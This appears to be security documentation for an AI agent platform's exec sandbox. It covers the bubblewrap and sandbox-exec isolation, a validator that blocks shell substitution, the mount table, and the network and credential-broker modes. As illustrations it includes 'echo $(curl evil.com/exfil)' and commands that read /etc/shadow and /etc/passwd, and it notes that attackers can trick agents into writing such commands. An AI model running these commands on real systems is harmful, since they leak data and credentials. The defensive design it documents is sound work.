Skip to main content
File tools like read, write, and edit are protected by Safe Path validation — every path parameter is checked before the operation proceeds. But the system.exec tool spawns a full shell that can access any file on the host filesystem. The exec sandbox closes this gap with kernel-enforced filesystem isolation, ensuring that shell commands run inside a restricted namespace where only approved paths are visible.
Scope is critical. The exec sandbox protects only the system.exec tool. It does not sandbox:
  • In-process Node tools — built-in skills that run inside the daemon process (file_read, web_fetch, memory_search, etc.) execute with full daemon permissions. Their security relies on application-level layers (safePath, SSRF guard, tool policy, content scanner).
  • MCP stdio servers — external MCP processes are explicitly launched with NODE_OPTIONS stripped (see Node Permissions) so MCP servers run unsandboxed by design. Treat each MCP server as a trusted dependency.
  • Arbitrary agent code — if you give an agent Python, Node, or other language tooling outside system.exec, that code runs unsandboxed.
The single guarantee here is: when the system.exec tool is invoked, the shell process it spawns sees only approved paths.

Two-Stage Protection: Validator + Sandbox

Every system.exec call passes through two layers before the OS spawns the shell:
  1. ExecSecurityValidator (pre-sandbox) — a quote-aware state machine inspects the command string for dangerous shell substitution and rejects it before the sandbox even runs. Caught patterns include:
    • Command substitution: $(...)
    • Backtick substitution: `...`
    • Process substitution: <(...), >(...)
    • Zsh process substitution: =(...)
    • Zsh equals expansion: =cmd at a word boundary
    The validator tracks quote context (normal, single, double, backtick) so patterns inside single quotes (where the shell does not interpret them) pass through unchanged.
  2. OS-level sandbox (filesystem isolation) — if the validator approves, the command is wrapped by bubblewrap or sandbox-exec for the actual spawn.
This means an attacker who tricks an agent into writing echo $(curl evil.com/exfil) is stopped at stage 1, before the sandbox runs. The sandbox catches anything stage 1 misses (e.g., cat /etc/shadow — syntactically clean, but /etc/shadow is invisible inside the namespace).

The Problem

Safe Path validation protects file tool parameters, but it cannot inspect shell command strings. This creates a gap where exec can access files that read would block:
# Blocked by Safe Path -- read validates the path parameter
tool: read
path: "/etc/passwd"
# Result: DENIED -- path outside workspace

# Bypasses Safe Path -- exec runs a shell command, not a file tool
tool: exec
command: "cat /etc/passwd"
# Without sandbox: SUCCEEDS -- shell has full filesystem access
# With sandbox:    DENIED -- /etc/passwd is not mounted inside the namespace
The exec sandbox prevents this by making unauthorized paths invisible to the shell process at the OS level. The process cannot read, write, or even see that those paths exist.

How It Works

The sandbox uses platform-native isolation to restrict what the shell process can see:
  • Linux: bubblewrap (bwrap) creates a mount namespace with only allowed paths visible. The process runs in its own user namespace with --unshare-all --share-net --die-with-parent --new-session.
  • macOS: sandbox-exec applies an SBPL (Sandbox Profile Language) profile that restricts filesystem access. Default deny, with explicit read/write grants for approved paths.
  • Both platforms: The workspace directory is read-write, system binaries are read-only, and everything else is invisible. Network access is allowed (network isolation is a separate concern).
Detection happens once at daemon startup. The provider is reused for all agents throughout the daemon’s lifetime.

Mount Table

The table below shows what paths are visible inside the sandbox. Anything not listed here is invisible to the sandboxed process.
PathAccessPurpose
Workspace (~/.comis/workspace-{agent}/)Read-WriteAgent’s working directory
Graph shared dir (~/.comis/graph-runs/{runId}/)Read-WritePipeline data sharing between graph nodes
/usr, /bin, /sbin, /lib, /lib64, /lib32Read-OnlySystem binaries and shared libraries
/etc/resolv.conf, /etc/hosts, /etc/hostnameRead-OnlyNetwork configuration
/etc/ssl, /etc/ca-certificates, /etc/pkiRead-OnlyTLS certificates
/etc/ld.so.cache, /etc/ld.so.conf, /etc/ld.so.conf.dRead-OnlyDynamic linker configuration
/etc/alternatives, /etc/localtimeRead-OnlySystem settings
/etc/passwd, /etc/group, /etc/nsswitch.confRead-OnlyUser and group name resolution
~/.gitconfig, ~/.config/git/Read-OnlyGit author config (no credentials — ~/.ssh is NOT mounted)
/procprocProcess information filesystem
/devdevDevice nodes
/tmpPrivate tmpfsIsolated temp directory (not shared with host)
readOnlyAllowPaths entriesRead-OnlyOperator-configured additional paths
Spillover temp dirRead-WriteExec tool internal temp files
On macOS, the sandbox-exec provider uses equivalent paths: /Library, /System, /opt/homebrew, /usr/local for system binaries, and /private/tmp, /private/var/folders for temp directories.

Configuration

~/.comis/config.yaml
agents:
  my-agent:
    skills:
      execSandbox:
        enabled: "always"            # "always" (default) or "never"
        readOnlyAllowPaths:          # Additional read-only paths inside the sandbox
          - /opt/data
          - /mnt/shared/datasets
FieldTypeDefaultDescription
enabledenum"always""always" — sandbox is active; if the sandbox binary is unavailable, the exec tool logs a warning and runs unsandboxed (graceful fallback). "never" — sandbox is unconditionally disabled.
readOnlyAllowPathsstring[][]Additional filesystem paths exposed read-only inside the sandbox. Use this for shared data directories that agents need to read but should not modify.
Setting enabled: "never" removes the OS-level filesystem isolation entirely. The exec tool will fall back to its command denylist as the only protection. This is not recommended for production deployments.

System Requirements

  • Linux: Install bubblewrap — apt install bubblewrap (Debian/Ubuntu) or the equivalent for your distribution. See the bubblewrap GitHub repository for details.
  • macOS: sandbox-exec is built in to macOS. No installation needed.
sandbox-exec on macOS is deprecated by Apple and may be removed in a future macOS release. It remains functional for development use, but use bubblewrap on Linux for production deployments.

Limitations

The exec sandbox provides filesystem isolation only. It does not restrict other resource types:
  • Network access is NOT restricted — network isolation is a separate concern from filesystem isolation
  • CPU, memory, and disk limits are NOT enforced — resource limits are out of scope for the filesystem sandbox
  • MCP tool servers run outside the sandbox — MCP servers have their own security model and are not wrapped by the exec sandbox
  • sandbox-exec on macOS is deprecated — Apple may remove it in a future macOS release; use bubblewrap on Linux for production

Network Modes and Credential Broker

The exec sandbox supports two network modes via SandboxOptions.network:
Modebwrap argsDescription
open (default)--unshare-all --share-netStandard sandbox; full network access
broker-only--unshare-all --unshare-net --bind <socketPath> <socketPath>Driven-CLI sandbox; only the broker unix socket is reachable via bind-mount
The broker-only mode is set automatically for driven API-key CLI spawns. It is not a user-configurable option — the daemon sets it when it launches a credentialed CLI through the broker. Secure credential home (secureCredentialHome: true): When set, the following bind mounts are omitted from the sandbox, so credential files are unreachable inside:
  • ~/.claude (read-write bind)
  • ~/.claude.json (read-only bind)
  • ~/.local/share/claude (read-write bind)
On Linux, the broker-only network mode combines with secureCredentialHome so neither the key material nor a direct network path to the key provider is reachable inside the sandbox. Network-level enforcement (--unshare-net) is validated on the Linux production host class: direct egress from inside the namespace fails, while the bound broker socket stays reachable.
Source: packages/skills/src/tools/builtin/sandbox/types.ts · packages/skills/src/tools/builtin/sandbox/bwrap-provider.ts
Credential Broker →

Graph Integration

When an agent runs inside an execution graph pipeline, the graph’s shared directory (~/.comis/graph-runs/{runId}/) is automatically mounted read-write inside the sandbox. This allows pipeline nodes to share data files while maintaining filesystem isolation — each node can read outputs from upstream nodes and write outputs for downstream nodes, but cannot access any other part of the host filesystem.

Defense in Depth

How the exec sandbox fits into the 22 categorical security layers

Safe Path

Path validation for file tools (read, write, edit)

Tool Security

Technical sandbox reference for all defense layers

Hardening Guide

Production hardening checklist